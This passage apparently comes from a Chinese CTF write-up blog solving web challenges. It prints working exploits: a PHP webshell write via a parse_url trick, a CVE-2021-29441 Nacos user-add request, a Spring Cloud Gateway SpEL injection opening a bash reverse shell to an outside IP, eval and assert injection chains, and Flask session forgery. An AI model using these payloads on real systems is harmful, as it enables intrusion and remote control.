src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"424\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-11-1024x424.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1747\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b2c\u516d\u5173<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$data = parse_url($_GET&#91;'u']);\n\nfile_put_contents($data&#91;'path'], $data&#91;'host']);<\/code><\/pre>\n\n\n\n<p>url\u91cc\u5982\u679c\u51fa\u73b0\u4e86?\u4f1a\u88ab\u76f4\u63a5\u5206\u9694\u6389\uff0c\u88ab\u89c6\u4f5c\u8bf7\u6c42\u53c2\u6570\uff0c\u800c\u6211\u4eec\u80fd\u5199\u5165\u7684\u5185\u5bb9\u53ea\u6709$data[&#8216;host&#8217;]\uff0c\u4e5f\u5c31\u662f\u57df\u540d\u90a3\u4e2a\u4f4d\u7f6e\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u60f3\u5230\u4e0d\u7528\u95ee\u53f7\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u7528&lt;script&gt;\u811a\u672c\u5199\uff0c\u6700\u540epoc:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?u=http:\/\/&lt;script language=\"php\"&gt;system('ls ${PWD::1}*f*');:\/var\/www\/html\/1.php<\/code><\/pre>\n\n\n\n<p>\u4e5f\u5c31\u662f\u628a\u547d\u4ee4\u5199\u5230\u7f51\u7ad9\u76ee\u5f55\u91cc\u76841.php\u53bb\uff0c\u7136\u540e\u7f16\u4e00\u4e0b\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/?u=http:\/\/%3Cscript%20language=%22php%22%3Esystem('cat%20$%7BPWD::1%7D*f*');:\/var\/www\/html\/1.php<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u8bbf\u95ee1.php\u5373\u53ef\u62ff\u5230flag<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">CISCN\u56fd\u8d5b<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Unzip<\/h2>\n\n\n\n<p><a href=\"https:\/\/fushuling.com\/index.phphttps:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/28\/ciscn%e5%88%9d%e8%b5%9b-by-notenougheffort\/\">CISCN\u521d\u8d5b by NotEnoughEffort<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">go_session<\/h2>\n\n\n\n<p><a href=\"https:\/\/fushuling.com\/index.phphttps:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/28\/ciscn%e5%88%9d%e8%b5%9b-by-notenougheffort\/\">CISCN\u521d\u8d5b by NotEnoughEffort<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">BackendService<\/h2>\n\n\n\n<p>\u5728ctfshow\u4e0a\u518d\u590d\u73b0\u4e00\u4e0b<\/p>\n\n\n\n<p>\u5148\u6253\u4e00\u4e2aCVE-2021-29441\u6dfb\u52a0\u8d26\u6237<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/v1\/auth\/users?username=crow&amp;password=crow HTTP\/1.1\nHost: 1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/113.0\nAccept: application\/json, text\/plain, *\/*\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 0\nOrigin: http:\/\/1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show\nConnection: close\nReferer: http:\/\/1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show\/\nCookie: _ga=GA1.2.178448525.1671190440\n<\/code><\/pre>\n\n\n\n<p>\u7528\u8fd9\u4e2a\u8d26\u53f7\u548c\u5bc6\u7801\u767b\u5f55\u8fdb\u53bb\u3002\u67e5\u770bjar\u91cc\u5185\u7f51\u670d\u52a1\u5668\u7684\u914d\u7f6e(\u76f4\u63a5\u89e3\u538b)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/2-3-1024x540.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"540\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/2-3-1024x540.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1926\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230ctfshow\u4e0a\u7684\u73af\u5883\u662f\u548c\u56fd\u8d5b\u5f53\u65f6\u7684\u73af\u5883\u4e0d\u4e00\u6837\u7684\uff0c\u8fd9\u91cc\u7684name\u5fc5\u987b\u4e3abackcfg\uff0c\u914d\u7f6e\u7684\u683c\u5f0f\u5fc5\u987b\u4e3ayaml\uff0c\u7167\u7740\u6211\u8fd9\u4e2a\u6765\u5c31\u884c\uff0c\u6dfb\u52a0\u4e00\u6761\u914d\u7f6e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-86-1024x487.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"487\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-86-1024x487.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1928\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n    \"id\": \"aaa\",\n    \"order\": 0,\n    \"predicates\": &#91;\n      {\n        \"args\": {\n          \"_genkey_0\": \"\/test\/**\"\n        },\n        \"name\": \"Path\"\n      }\n    ],\"filters\": &#91;\n{\n    \"name\": \"AddResponseHeader\",\n    \"args\": {\n\"name\":\"result\",\"value\": \"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String&#91;]{'bash','-c','bash -i &gt;&amp; \/dev\/tcp\/43.153.175.155\/9383 0&gt;&amp;1'}).getInputStream())).replaceAll(\\\"\\n\\\",\\\"\\\").replaceAll(\\\"\\r\\\",\\\"\\\")}\"}\n  }],\n    \"uri\": \"http:\/\/example.com\"\n  }<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-87.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"377\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-87.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1929\"  sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u83dc\u72d7\u676f<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web\u7b7e\u5230<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nerror_reporting(0);\nhighlight_file(__FILE__);\n\neval($_REQUEST&#91;$_GET&#91;$_POST&#91;$_COOKIE&#91;'CTFshow-QQ\u7fa4:']]]]&#91;6]&#91;0]&#91;7]&#91;5]&#91;8]&#91;0]&#91;9]&#91;4]&#91;4]);<\/code><\/pre>\n\n\n\n<p>\u8ba9cookie\u4e2d&#8221;CTFshow-QQ\u7fa4:&#8221;\u7684\u503c\u7b49\u4e8ea\uff0c\u8fd9\u6837\u63a5\u6536\u5230\u7684$_COOKIE[&#8216;CTFshow-QQ\u7fa4:&#8217;]\u5c31\u7b49\u6548\u4e8ea\uff0c\u4ee3\u7801\u6267\u884c\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>eval($_REQUEST&#91;$_GET&#91;$_POST&#91;a]]]&#91;6]&#91;0]&#91;7]&#91;5]&#91;8]&#91;0]&#91;9]&#91;4]&#91;4]);<\/code><\/pre>\n\n\n\n<p>\u7528post\u4f20\u4e00\u4e2aa=b\uff0c\u8fd9\u6837$_POST[a]\u5c31\u7b49\u6548\u4e8eb\uff0c\u4ee3\u7801\u6267\u884c\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>eval($_REQUEST&#91;$_GET&#91;b]]&#91;6]&#91;0]&#91;7]&#91;5]&#91;8]&#91;0]&#91;9]&#91;4]&#91;4]);<\/code><\/pre>\n\n\n\n<p>\u7528get\u4f20\u4e00\u4e2ab=c\uff0c\u8fd9\u6837$_GET[b]\u5c31\u7b49\u6548\u4e8ec\uff0c\u4ee3\u7801\u6267\u884c\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>eval($_REQUEST&#91;c]&#91;6]&#91;0]&#91;7]&#91;5]&#91;8]&#91;0]&#91;9]&#91;4]&#91;4]);<\/code><\/pre>\n\n\n\n<p>\u5bf9\u4e8e$_REQUEST[c][6][0][7][5][8][0][9][4][4]\uff0c$_REQUEST\u53ef\u4ee5\u7528\u4efb\u4f55\u4e00\u79cd\u65b9\u5f0f\u8bf7\u6c42\uff0c\u6211\u4eec\u8fd9\u91cc\u91c7\u7528post\u65b9\u6cd5\u4e0a\u4f20\u3002\u800cc\u4e3a\u6570\u7ec4\uff0c$_REQUEST\u8bf7\u6c42\u4e2d\u4f20\u5165\u7684\u503c\u662f\u53d6\u7684C\u6570\u7ec4\u4e2dID\u952e\u4e3a[6][0][7][5][8][0][9][4][4]\u7684\u503c\uff0c\u56e0\u6b64\u53ef\u4ee5\u7ed9C\u6570\u7ec4\u4e2d\u7684\u8fd9\u4e9b\u952e\u76f4\u63a5\u8d4b\u503c\uff1ac[6][0][7][5][8][0][9][4][4]= system(&#8216;ls \/&#8217;);<\/p>\n\n\n\n<p>\u7136\u540e\u6ce8\u610f\u4e00\u4e0b\u5bf9&#8221;\u7fa4&#8221;\u5b57\u8fdb\u884c\u7f16\u7801\uff0c\u4e0d\u7136bp\u6ca1\u6cd5\u8bc6\u522b\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/?b=c\nCookie:CTFshow-QQ%E7%BE%A4:=a\na=b&amp;c&#91;6]&#91;0]&#91;7]&#91;5]&#91;8]&#91;0]&#91;9]&#91;4]&#91;4]=system('ls \/');<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-47-1024x607.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"607\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-47-1024x607.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-618\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540esystem(&#8216;cat \/f*&#8217;);\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web2 c0me_t0_s1gn<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-50.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"144\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-50.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-626\"  sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"722\" height=\"384\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-627\" style=\"width:722px;height:384px\"  sizes=\"auto, (max-width: 722px) 100vw, 722px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u6211\u7684\u773c\u91cc\u53ea\u6709$<\/h2>\n\n\n\n<p>\u6709\u8da3\u7684\u4e00\u9053\u9898<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nextract($_POST);\neval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);\nhighlight_file(__FILE__);<\/code><\/pre>\n\n\n\n<p>\u5bf9\u4e8eextract\u51fd\u6570\uff0c\u6211\u4eecpost\u4f20\u5165<code>_=a<\/code>\u90a3\u4e48<code>$_=a<\/code>\uff0c\u5982\u679c\u5728post\u4f20\u5165<code>a=b<\/code>\u90a3\u4e48<code>$$_=b<\/code>\uff0c\u4ee5\u6b64\u7167\u63a8\uff0c\u6700\u540e\u4e00\u4e2a\u5c31\u662f\u6211\u4eec\u6267\u884c\u547d\u4ee4\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import string\ns = string.ascii_letters \nt='_=a&amp;'\ncode='system(\"cat \/f*\");'\nfor i in range(35):\n    t+=s&#91;i]+\"=\"+s&#91;i+1]+'&amp;'\n\nt+=s&#91;i]+'='+code\nprint(t)\n#_=a&amp;a=b&amp;b=c&amp;c=d&amp;d=e&amp;e=f&amp;f=g&amp;g=h&amp;h=i&amp;i=j&amp;j=k&amp;k=l&amp;l=m&amp;m=n&amp;n=o&amp;o=p&amp;p=q&amp;q=r&amp;r=s&amp;s=t&amp;t=u&amp;u=v&amp;v=w&amp;w=x&amp;x=y&amp;y=z&amp;z=A&amp;A=B&amp;B=C&amp;C=D&amp;D=E&amp;E=F&amp;F=G&amp;G=H&amp;H=I&amp;I=J&amp;I=system(\"cat \/f*\");<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-51-1024x676.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"676\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-51-1024x676.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-628\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u62bd\u8001\u5a46<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-77-1024x454.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"454\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-77-1024x454.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-680\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0b\u8f7d\u8001\u5a46\u5904\u5b58\u5728\u4e00\u4e2a\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from flask import *\nimport os\nimport random\nfrom flag import flag\n\n#\u521d\u59cb\u5316\u5168\u5c40\u53d8\u91cf\napp = Flask(__name__)\napp.config&#91;'SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'\n\n@app.route('\/', methods=&#91;'GET'])\ndef index():  \n    return render_template('index.html')\n\n\n@app.route('\/getwifi', methods=&#91;'GET'])\ndef getwifi():\n    session&#91;'isadmin']=False\n    wifi=random.choice(os.listdir('static\/img'))\n    session&#91;'current_wifi']=wifi\n    return render_template('getwifi.html',wifi=wifi)\n\n\n\n@app.route('\/download', methods=&#91;'GET'])\ndef source(): \n    filename=request.args.get('file')\n    if 'flag' in filename:\n        return jsonify({\"msg\":\"\u4f60\u60f3\u5e72\u4ec0\u4e48\uff1f\"})\n    else:\n        return send_file('static\/img\/'+filename,as_attachment=True)\n\n\n@app.route('\/secret_path_U_never_know',methods=&#91;'GET'])\ndef getflag():\n    if session&#91;'isadmin']:\n        return jsonify({\"msg\":flag})\n    else:\n        return jsonify({\"msg\":\"\u4f60\u600e\u4e48\u77e5\u9053\u8fd9\u4e2a\u8def\u5f84\u7684\uff1f\u4e0d\u8fc7\u8fd8\u597d\u6211\u6709\u8eab\u4efd\u9a8c\u8bc1\"})\n\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0',port=80,debug=True)<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u9700\u8981\u4f2a\u9020\u8eab\u4efd\u524d\u5f80\/secret_path_U_never_know\uff0c\u4e0b\u4e2a<a href=\"https:\/\/github.com\/noraj\/flask-session-cookie-manager\">\u5de5\u5177<\/a>\u4f2a\u9020\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 flask_session_cookie_manager3.py encode -t \"{'isadmin':True}\" -s \"tanji_is_A_boy_Yooooooooooooooooooooo\\!\"\n#eyJpc2FkbWluIjp0cnVlfQ.Y5x4EA.mp5viAKszMXpwwwZhEWzsP0KAXI<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-79.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"95\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-79.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-683\"  sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/QQ\u622a\u56fe20221216215332-1024x300.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"300\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/QQ\u622a\u56fe20221216215332-1024x300.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-682\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e00\u8a00\u65e2\u51fa<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nhighlight_file(__FILE__);&nbsp;\ninclude&nbsp;\"flag.php\";&nbsp;&nbsp;\nif&nbsp;(isset($_GET&#91;'num'])){\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($_GET&#91;'num']&nbsp;==&nbsp;114514){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;assert(\"intval($_GET&#91;num])==1919810\")&nbsp;or&nbsp;die(\"\u4e00\u8a00\u65e2\u51fa\uff0c\u9a77\u9a6c\u96be\u8ffd!\");\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$flag;\n&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;\n}&nbsp;<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u662f\u5f31\u6bd4\u8f83\uff0c\u6240\u4ee5\u53ef\u4ee5\u7528\uff1a?num=114514+1805296\uff0c\u7f16\u7801\u540e\u4e5f\u5c31\u662f?num=114514%2B1805296<\/p>\n\n\n\n<p>\u4f46\u53c8\u56e0assert\u51fd\u6570\u8ddfeval\u51fd\u6570\u7c7b\u4f3c\uff0c\u80fd\u591f\u6267\u884cphp\uff0c\u6240\u4ee5\u76f4\u63a5\u95ed\u5408\u4e5f\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?num=114514);\/\/\n?num=114514)==1 or system('ls');#\n\u7f16\u7801\u4e00\u4e0b\uff1a?num=114514)==1%20or%20system('ls')%3B%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u9a77\u9a6c\u96be\u8ffd<\/h2>\n\n\n\n<pre 